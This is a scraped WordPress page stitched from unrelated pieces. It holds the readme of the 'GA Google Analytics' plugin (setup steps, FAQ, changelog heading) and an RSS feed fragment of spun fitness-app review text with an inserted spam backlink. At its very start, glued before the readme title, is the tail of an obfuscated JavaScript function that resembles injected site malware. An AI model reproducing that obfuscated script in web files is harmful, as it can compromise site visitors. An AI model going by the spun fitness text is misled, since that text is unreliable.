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Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};=== GA Google Analytics – Connect Google Analytics to WordPress ===

Plugin Name: GA Google Analytics
Plugin URI: https://perishablepress.com/google-analytics-plugin/
Description: Adds your Google Analytics Tracking Code to your WordPress site.
Tags: analytics, google, google analytics, tracking, statistics
Author: Jeff Starr
Author URI: https://plugin-planet.com/
Donate link: https://monzillamedia.com/donate.html
Contributors: specialk
Requires at least: 4.6
Tested up to: 6.6
Stable tag: 20240820
Version:    20240820
Requires PHP: 5.6.20
Text Domain: ga-google-analytics
Domain Path: /languages
License: GPL v2 or later

Adds Google Analytics 4 tracking code to your WordPress site. Supports many tracking features.



== Description ==

> Connects Google Analytics to WordPress
> Easily add Google Analytics 4 to your web pages

This plugin enables Google Analytics for your entire WordPress site. Lightweight and fast with plenty of great features.


### Enable Google Analytics 4 ###

Steps to enable Google Analytics 4:

1. Follow [this guide](https://support.google.com/analytics/answer/9304153) to create a GA4 account
2. During account creation, you'll get a tracking (measurement) ID
3. Add your new tracking ID to the plugin setting, "GA Tracking ID"
4. Select "GA4" for the plugin setting, "Tracking Method"

Save changes and done. Wait 24-48 hours before viewing collected data in your GA account.


### GA Tracking Options ###

Here are the tracking methods available with this plugin:

* [GA4](https://support.google.com/analytics/answer/10089681) / Google Analytics 4 (default)
* [Universal Analytics](https://support.google.com/analytics/answer/11583528) (deprecated)
* Legacy Tracking (deprecated)

__Note:__ GA4 is recommended. Google has deprecated/disabled all other tracking options.


### GA Feature Support ###

* Supports [Google Analytics 4](https://support.google.com/analytics/answer/9304153)
* Supports [Display Advertising](https://support.google.com/analytics/answer/2444872)
* Supports [Enhanced Link Attribution](https://support.google.com/analytics/answer/7377126)
* Supports [IP Anonymization](https://support.google.com/analytics/answer/2763052)
* Supports [Force SSL](https://support.google.com/analytics/answer/6385009)
* Supports [Google Optimize](https://support.google.com/analytics/answer/12979939)
* Supports Tracker Objects (Universal Analytics)
* Supports User Opt-Out (Universal Analytics)

Also supports tracking links and conversions via the Custom Code setting. Learn more about [Google Analytics](https://www.google.com/analytics/).


### Features ###

* Blazing fast performance
* Does one thing and does it well
* Drop-dead simple and easy to use
* Regularly updated and "future proof"
* Stays current with the latest tracking code
* Includes tracking code in header or footer
* Includes tracking code on all WordPress web pages
* Includes option to add your own custom markup
* Sleek plugin Settings page with toggling panels
* Option to disable tracking of admin-level users
* Option to enable page tracking in the Admin Area
* Works with or without Gutenberg Block Editor
* Easy to customize the tracking code
* More features available in the [Pro version&nbsp;&raquo;](https://plugin-planet.com/ga-google-analytics-pro/)

This is a lightweight plugin that inserts the required GA tracking code. To view your site statistics, visit your Google Analytics account.


### Pro Version ###

[GA Google Analytics Pro](https://plugin-planet.com/ga-google-analytics-pro/) includes the same features as the free version, PLUS the following:

* Visitor Opt-Out Box (frontend UI)
* Configure multiple tracking codes
* Live Preview of all tracking codes
* Choose location of multiple tracking codes
* Supports Custom Code in header or footer
* Disable tracking of all logged-in users
* Disable Tracking for any Post IDs, User Roles, Post Types
* Disable Tracking for Search Results and Post Archives
* Display Opt-Out Box automatically or via shortcode
* Complete Inline Help/Documentation
* Priority plugin help and support

Learn more and get [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


### Privacy ###

__User Data:__ This plugin does not collect any user data. Even so, the tracking code added by this plugin is used by Google to collect all sorts of user data. You can learn more about Google Privacy [here](https://policies.google.com/privacy?hl=en-US).

__Cookies:__ This plugin uses simple cookies for the visitor Opt-Out Box to remember user preference for opt-in or out of Google Analytics.

__Services:__ This plugin does not connect to any third-party locations or services, but it does enable Google to collect all sorts of data.

GA Google Analytics is developed and maintained by [Jeff Starr](https://twitter.com/perishable), 15-year [WordPress developer](https://plugin-planet.com/) and [book author](https://books.perishablepress.com/).


### Support development ###

I develop and maintain this free plugin with love for the WordPress community. To show support, you can [make a donation](https://monzillamedia.com/donate.html) or purchase one of my books: 

* [The Tao of WordPress](https://wp-tao.com/)
* [Digging into WordPress](https://digwp.com/)
* [.htaccess made easy](https://htaccessbook.com/)
* [WordPress Themes In Depth](https://wp-tao.com/wordpress-themes-book/)
* [Wizard's SQL Recipes for WordPress](https://books.perishablepress.com/downloads/wizards-collection-sql-recipes-wordpress/)

And/or purchase one of my premium WordPress plugins:

* [BBQ Pro](https://plugin-planet.com/bbq-pro/) - Super fast WordPress firewall
* [Blackhole Pro](https://plugin-planet.com/blackhole-pro/) - Automatically block bad bots
* [Banhammer Pro](https://plugin-planet.com/banhammer-pro/) - Monitor traffic and ban the bad guys
* [GA Google Analytics Pro](https://plugin-planet.com/ga-google-analytics-pro/) - Connect WordPress to Google Analytics
* [Simple Ajax Chat Pro](https://plugin-planet.com/simple-ajax-chat-pro/) - Unlimited chat rooms
* [USP Pro](https://plugin-planet.com/usp-pro/) - Unlimited front-end forms

Links, tweets and likes also appreciated. Thank you! :)



== Installation ==

### How to install the plugin ###

1. Upload the plugin to your blog and activate
2. Visit the settings to configure your options

After configuring your settings, you can verify that GA tracking code is included by viewing the source code of your web pages.

__Note:__ this plugin adds the required GA code to your web pages. In order for the code to do anything, it must correspond to an active, properly configured Google Analytics account. Learn more at the [Google Analytics Help Center](https://support.google.com/analytics/).

[More info on installing WP plugins &raquo;](https://wordpress.org/support/article/managing-plugins/#installing-plugins)


### How to use the plugin ###

To enable Google Analytics tracking (GA4) on your site, follow these steps:

1. Follow [this guide](https://support.google.com/analytics/answer/9304153) to create a GA 4 account
2. During account creation, you'll get a tracking (measurement) ID
3. Add your new tracking ID to the plugin setting, "GA Tracking ID"
4. Select "GA4" for the plugin setting, "Tracking Method"
5. Configure any other plugin settings as desired (optional)

Save changes and done. After 24-48 hours, you can log into your Google Analytics account and view your site statistics.

__* Notes:__

The "Tracking ID" also may be referred to as "Measurement ID", "Property ID", or "Tag ID".

Also note that it can take 24-48 hours after adding the tracking code before any analytical data appears in your [Google Analytics account](https://developers.google.com/analytics/). To check that the GA tacking code is included properly, examine the source code of your web pages. Learn more at the [Google Analytics Help Center](https://support.google.com/analytics/).


### Upgrading Analytics ###

Google Analytics tracking methods [change over time](https://onward.justia.com/history-of-google-analytics/). First there was `urchin.js`, then `ga.js`, `analytics.js`, and then `gtag.js`. Now there is the latest and greatest, "GA4" (Google Analytics 4). If you are using an older version (anything other than GA4) and want to upgrade, check out this [upgrade guide](https://support.google.com/analytics/answer/10759417) from Google.


### Plugin Upgrades ###

To upgrade GA Google Analytics, remove the old version and replace with the new version. Or just click "Update" from the Plugins screen and let WordPress do it for you automatically.

__Note:__ uninstalling the plugin from the WP Plugins screen results in the removal of all settings from the WP database. 

For more information, visit the [GA Plugin Homepage](https://perishablepress.com/google-analytics-plugin/).


### Restore Default Options ###

To restore default plugin options, either uninstall/reinstall the plugin, or visit the plugin settings &gt; Restore Default Options.


### Uninstalling ###

GA Google Analytics cleans up after itself. All plugin settings will be removed from your database when the plugin is uninstalled via the Plugins screen. Your collected GA data will remain in your Google account.


### Pro Version ###

Want more control over your GA Tracking codes? With awesome features like Opt-Out Box and Code Previews? Check out [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


### Like the plugin? ###

If you like GA Google Analytics, please take a moment to [give a 5-star rating](https://wordpress.org/support/plugin/ga-google-analytics/reviews/?rate=5#new-post). It helps to keep development and support going strong. Thank you!



== Screenshots ==

1. GA Google Analytics: Plugin Settings (default)
2. GA Google Analytics: Plugin Settings (expanded)

More screenshots available at the [GA Plugin Homepage](https://perishablepress.com/google-analytics-plugin/).



== Frequently Asked Questions ==


**How to enable Google Analytics 4?**

Check out the top of this page, first section provides the steps to add GA4 to your site.


**I am confused about all the different tracking methods?**

This article should help to get a better idea of the changes: [History of Google Analytics](https://onward.justia.com/history-of-google-analytics/)


**Tracking code is not displayed in source code?**

If you check the source code of your pages and don't see the GA tracking code, check the following:

* Check that your theme includes the hooks, `wp_head` and `wp_footer`
* If you are using a caching plugin, try clearing the cache

If the GA tracking code still is not displayed, most likely there is interference from another plugin or theme. In this case, the best way to resolve the issue is to do some basic [WordPress troubleshooting](https://perishablepress.com/how-to-troubleshoot-wordpress/).


**Google Analytics says tracking code is not detected?**

You need to wait 24-48 hours (or longer) for Google to collect some data. Just takes time for Googlebot to crawl your pages, collect and process data, etc. For more information, check out the [Google Analytics Help Center](https://support.google.com/analytics/).


**Can I filter the output of the "Custom GA Code" setting?**

Yes, you can use the `gap_custom_code` filter hook.


**How to implement Google Optimize?**

Here are the steps:

1. Enable Universal Analytics in the plugin settings
2. Add the Optimize plugin (e.g., `ga('require', 'GTM-XXXXXX');`) to the setting, "Custom GA Code"
3. Add the Page Hiding (flicker) snippet to the setting, "Custom &lt;head&gt; Code"
4. Enable the setting, "Custom &lt;head&gt; Location"

Done! You can view the source code of your web pages to verify the results.

More info about [Google Optimize](https://support.google.com/analytics/answer/12979939).


**How to enable Opt-out of tracking?**

Here are the steps:

1. Add the following code to the plugin setting, "Custom Code": `<script>window['ga-disable-UA-XXXXX-Y'] = true;</script>`
2. Check the box to enable the setting, "Custom Code Location".

Done! You can view the source code of your web pages to verify the results.


**How to disable the "auto" parameter in ga(create)?**

By default the plugin includes the `auto` parameter in the tracking code:

	ga('create', 'GA-123456789000', 'auto');

However some tracking techniques (such as Site Speed Sample Rate) require replacing the `auto` parameter. To do it:

First disable the `auto` parameter by adding the following code to WordPress functions or [custom plugin](https://digwp.com/2022/02/custom-code-wordpress/):

	// GA Google Analytics - Disable auto parameter
	function ga_google_analytics_enable_auto($enable) { return false; }
	add_filter('ga_google_analytics_enable_auto', 'ga_google_analytics_enable_auto');

Now that `auto` is disabled, you can replace it with your own parameter(s). For example, to implement Universal Analytics Site Speed Sample Rate, enter the following code in the plugin setting "Custom Tracker Objects":

	{'siteSpeedSampleRate': 100}

Save changes and done. The resulting tracking code will now look like this:

	ga('create', 'GA-123456789000', {'siteSpeedSampleRate': 100});

So can adjust things as needed to add any parameters that are required.


**How to implement Anonymize?**

1. Add to "Custom Tracker Objects" setting: `{ 'anonymize_ip': true }`
2. Save changes and done.


**Got a question?**

To ask a question, suggest a feature, or provide feedback, [contact me directly](https://plugin-planet.com/support/#contact). Learn more about [Google Analytics](https://www.google.com/analytics/).



== Changelog ==

*Thank you to everyone who shares feedback for GA Google Analytics!*

If you like GA Google Analytics, please take a moment to [give a 5-star rating](https://wordpress.org/support/plugin/ga-google-analytics/reviews/?rate=5#new-post). It helps to keep development and support going strong. Thank you!

> New Pro version available! Check out [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


**20240820**

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	<title>5 fitness apps that can help you build muscle in the gym in 2026 &#8211; pspwptest</title>
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		<title>Best Workout Tracker App for 2026: Top 7 Options Reviewed</title>
		<link>https://psp-wp-test.objectsdev.com/best-workout-tracker-app-for-2026-top-7-options/</link>
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		<pubDate>Tue, 07 Apr 2026 06:58:29 +0000</pubDate>
				<category><![CDATA[5 fitness apps that can help you build muscle in the gym in 2026]]></category>
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					<description><![CDATA[Compared to some other gadgets, wearables are incredibly personal, which means /best-strength-training-apps-for-garage-gyms-in-2026/ there are a few extra considerations you’ll have to take into account before reaching for your wallet. It makes it hard to say that any one fitness tracker is the best for everyone. Thankfully, the best thing about fitness trackers in 2026 is [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Compared to some other gadgets, wearables are incredibly personal, which means <a href="https://ventmagazines.co.uk/best-strength-training-apps-for-garage-gyms-in-2026/">/best-strength-training-apps-for-garage-gyms-in-2026/</a> there are a few extra considerations you’ll have to take into account before reaching for your wallet. It makes it hard to say that any one fitness tracker is the best for everyone. Thankfully, the best thing about fitness trackers in 2026 is that there’s enough variety to fit into every kind of lifestyle.</p>
<h2>Strengthen Client-Trainer Communication</h2>
<p>No disrespect to those creators, but I think a paid app should have some differentiating features. Still, the workouts are fun, and it’s a cool way to check out the offerings from notable workout studios. NeoU (“new you,” get it?) is an app that offers access to HIIT, bootcamp, yoga, barre, and more, taught by instructors from name-brand fitness studios, such as YogaSix, Forme Barre, and Vixen Workout.</p>
<h3>Create a Custom-Branded Experience</h3>
<p>The app also explains how to perform these exercises clearly and intuitively. In our tests, the battery on the 45mm model lasted 45 hours on its first charge, which was 13 hours longer than the Pixel Watch 3. Google also improved the Pixel Watch 4’s charging speed, and we were able to top up its battery from 14 to 97 percent in around 45 minutes. There’s a Vascular Load feature, which measures how stressed your vascular system is while you sleep, but it doesn’t explain why this metric is important.</p>
<h2>What is the best workout app in 2026?</h2>
<p>But for most people who just want those basic data points, it’s overkill. Unique among trackers we’ve tested, the Apple Watch has a wheelchair option, which tracks pushes instead of steps. The Fitbit Inspire 3 was the most accurate fitness tracker for step count and near the top of the rankings for every other test we performed. The touchscreen display is only 1.5 inches tall but is simple to navigate, thanks to its sharp colors and easily readable text and icons.</p>
<h3>HealthFit</h3>
<p>However, most dedicated strength training apps don&#8217;t integrate well with these platforms, which focus more on cardio and general activity. You&#8217;ve probably heard the saying &#8220;what gets measured gets managed.&#8221; When it comes to strength training, this couldn&#8217;t be more accurate. Without tracking your workouts, you&#8217;re essentially flying blind, guessing at weights, forgetting how many reps you hit last week, and wondering why your progress has stalled. If you don’t want to keep looking at your wrist while swimming, try these smart goggles.</p>
<h3>Is it better to use one app for everything or separate apps for cardio and strength?</h3>
<p>It provides structured routines tailored to various fitness goals, such as strength building, weight loss, or athletic performance. Caliber caters to various fitness levels and goals, providing tools to monitor progress and stay motivated throughout the fitness journey. Suitable for all fitness levels, the Nike Training Club app provides expert guidance from Nike trainers and integrates seamlessly with other Nike apps.</p>
<ul>
<li>Apple Fitness Plus is the best workout app if you&#8217;re embedded in the company&#8217;s ecosystem, especially if you use an Apple Watch.</li>
<li>Virtuagym’s Fitness Coaching App is an exceptional app for fitness trainers, offering a comprehensive platform to manage and scale your business.</li>
<li>What you&#8217;re eating, how much you&#8217;re sleeping, and what kind of exercise you&#8217;re doing can all contribute to that overall tired feeling.</li>
<li>The app features guided runs and tons of motivational tactics, like cheers from friends and words of encouragement from professional athletes.</li>
<li>When evaluating trials, check whether credit card information is required upfront, as some apps automatically convert to paid subscriptions unless manually canceled.</li>
<li>The Galaxy Watch 8 can go anywhere thanks to a large scratch-resistant screen and a strong titanium case.</li>
</ul>
<p>With more people switching to home workout apps for convenience and consistency, these digital tools are playing a major role in helping users stay motivated and improve performance—no matter their fitness level. Men&#8217;s fitness apps are stepping up their game with AI technology that delivers personalized strength programming based on your actual performance data. Leading platforms analyze workout metrics and create customized strength routines through advanced AI systems, adjusting daily workouts based on readiness surveys that track fatigue and motivation levels [18].</p>
<h2>Endel: Focus &amp; Sleep Sounds</h2>
<p>It&#8217;s also got substantially better metrics and software, including graphs and data that I find easier to read. While Google requires you to have a Fitbit subscription to get all the Pixel Watch&#8217;s features, OnePlus gives you everything for free and does all the AI analysis and processing on your phone through the OHealth app. Through the free app you can also (manually) track blood glucose and connect to your phone’s GPS.</p>
<p>One of the few technical details Apple didn’t improve was battery life — the SE 3 still lasts around 18 hours per charge. In one of our tests, which included a cross-country flight and 48-minute mini golf session, the watch has 27 percent battery left after around 13 hours of use with no reliance on low power mode. That said, if you’re a little wary of a lesser-known brand, the $159.95 Fitbit Charge 6 is a decent alternative. That includes access to Google services like YouTube Music, Google Wallet, and Google Maps. Plus, it has built-in GPS and the ability to broadcast your heart rate with some Bluetooth-compatible gym equipment. If high-intensity workouts aren’t your thing, bust out zen moves like tree pose and downward dog using YogaRenew, an app for following virtual yoga classes.</p>
<h2>Programs Built Around Progressive Overload</h2>
<p>Alternatively, the app can sync with external devices such as Fitbits or heart rate monitors for more accurate motion-tracking. If you&#8217;re looking for one, all-inclusive app that will take on all your fitness-related tasks, our pick is MapMyFitness. There is a free version of the app, and also a $5.99-per-month version and a $29.99-per-year subscription that will buy you perks like audio coaching and customizable splits.</p>
<h3>What’s the best app for weight training?</h3>
<p>I&#8217;ve become more enthusiastic about it since it added and smartened up its Athlete Intelligence tool. Still, its AI insights and segment leaderboards are mostly novelties for me. When work isn&#8217;t on her mind, she loves working out, reading, watching the Raptors, and planning what she&#8217;s going to eat the next day. The Polar Unite has the sporty look of a fitness watch, and it can hold up to 20 sport profiles.</p>
<h2>How do workout apps track progress?</h2>
<p>&#8220;I like hypertrophy training by body part, so I have Shred suggest daily workouts—upper body, lower body, full body, or abs,&#8221; Schlinger explains. &#8220;If I did upper body yesterday, I can choose a &#8216;custom&#8217; workout and pick a different body part, and it creates a new session. Each exercise shows full instructions and videos.&#8221; “I find it hard to come up with routines myself, so having coached sessions made it easy and comfortable for me to try new things like boxing that I wouldn’t have sought out on my own,” another tester noted. Gym-goers will also appreciate the self-guided option, which lets you move through exercises at your own pace. Log your workouts and track your progress on Hevy app while being part of an amazing community of 12+ million gym athletes. Strava bridges this gap better than most, syncing with virtually every fitness device and platform.</p>
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